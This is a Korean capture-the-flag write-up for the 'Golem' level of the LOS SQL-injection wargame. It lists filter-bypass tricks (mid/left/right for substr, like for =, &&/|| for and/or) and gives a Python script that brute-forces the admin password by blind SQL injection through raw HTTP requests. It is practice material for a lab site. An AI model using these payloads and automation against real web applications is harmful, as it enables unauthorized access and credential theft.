[Golem] LOS 문제풀이11

   [Golem] LOS 문제풀이11

SQL Injection Web Hacking

LOS 사이트 : http://los.eagle-jump.org/

[힌트]

1. 주석처리

   # : %23  ' : %27

2. substr 우회법

   right,left, mid 사용

   substr('apple',1,1) = 'a'  -> right(left('apple',1),1) = 'a'

   substr('apple',1,1) = 'a'  -> mid('apple',1,1) = 'a'

3. = 우회

    like, between 사용

4. and or 우회

   and : &&   or : ||

5. 패스워드 하나씩 찾기

패스워드를 하나씩 찾아야 되기때문에 먼저 길이를 재보아야 한다. 길이를 재는것은 전 소스와 똑같지만 =과 and, or를 우회해서 입력하면 된다.

길이를 찾은결과 8이 나오는 것을 확인할 수 있다. 그리고 나서 substr를 우회한 방법중에 mid를 이용해서 하나씩 찾는다.

막아놓은 부분을 다 우회해서 입력해야 제대로 된 결과값을 받아온다.

[Golem 자동화프로그램] - Python3

# LOS Golem
 
import socket
 
for i in range(1,9):
    for ch in range(48,123):
        if 58 <= ch <= 64: continue
        if 91 <= ch <= 96: continue
        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sock.connect(('104.27.174.42',80))
 
        header = "GET /golem_39f3348098ccda1e71a4650f40caa037.php"
        header += "?pw=' || id like 'admin' %26%26 ascii(mid(pw,"+str(i)+",1)) like "+str(ch)+"%23 "
        header += "HTTP/1.1\r\n"
        header += "Host:los.eagle-jump.org\r\n"
        header += "Cookie:PHPSESSID=44b0qo6127nchlhrrohm2scc93\r\n"  #쿠키는 현재 
        header += "\r\n"
 
        response = ''
    
        sock.send(header.encode())
        response = sock.recv(65535)
        response = response.decode()
        if "Hello admin" in response:
            print(chr(ch),end='',flush=True)
            sock.close()
            break;
        sock.close()
print()